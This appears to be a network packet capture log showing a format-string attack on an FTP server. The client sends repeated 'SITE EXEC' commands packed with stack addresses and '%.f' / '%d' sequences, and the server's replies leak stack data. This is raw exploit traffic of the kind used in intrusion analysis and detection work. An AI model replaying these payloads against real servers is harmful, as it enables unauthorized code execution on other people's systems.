66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.142444 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12109 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD73081 Ack:
0xC9874872 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490840 488830
32 30 30 2D 37 20 BA B3 FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.159078 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1284 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874872 Ack:
0x4DD73305 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488832 490840
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.159187 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12110 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD73305 Ack:
0xC9874872 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490842 488832
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
BA B3 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.269561 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1285 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874872 Ack:
0x4DD7350A Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488834 490842
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.285219 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1286 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9874872 Ack:
0x4DD7350A Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488834 490842
53 49 54 45 20 45 58 45 43 20 37 20 84 B3 FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.288678 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12111 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD7350A Ack:
0xC9874A71 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490853 488834
32 30 30 2D 37 20 84 B3 FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.354385 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1287 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874A71 Ack:
0x4DD7378E Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488837 490853
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.354488 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12112 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD7378E Ack: 0xC9874A71 Win: 0x7D78
TcpLen: 32
TCP Options (3) => NOP NOP TS: 490855 488837
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
84 B3 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.428376 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1288 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874A71 Ack:
0x4DD73993 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488840 490855
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.428386 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1289 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9874A71 Ack:
0x4DD73993 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488840 490855
53 49 54 45 20 45 58 45 43 20 37 20 4E B3 FF FF SITE EXEC 7 N...
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.319277 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x42
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12113 IpLen:20
DgmLen:52 DF
***A**** Seq: 0x4DD73993 Ack:
0xC9874C70 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490858 488840
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.357092 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12114 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD73993 Ack:
0xC9874C70 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490858 488840
32 30 30 2D 37 20 4E B3 FF BF 2D 32 2D 32 30 30 200-7 N...-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
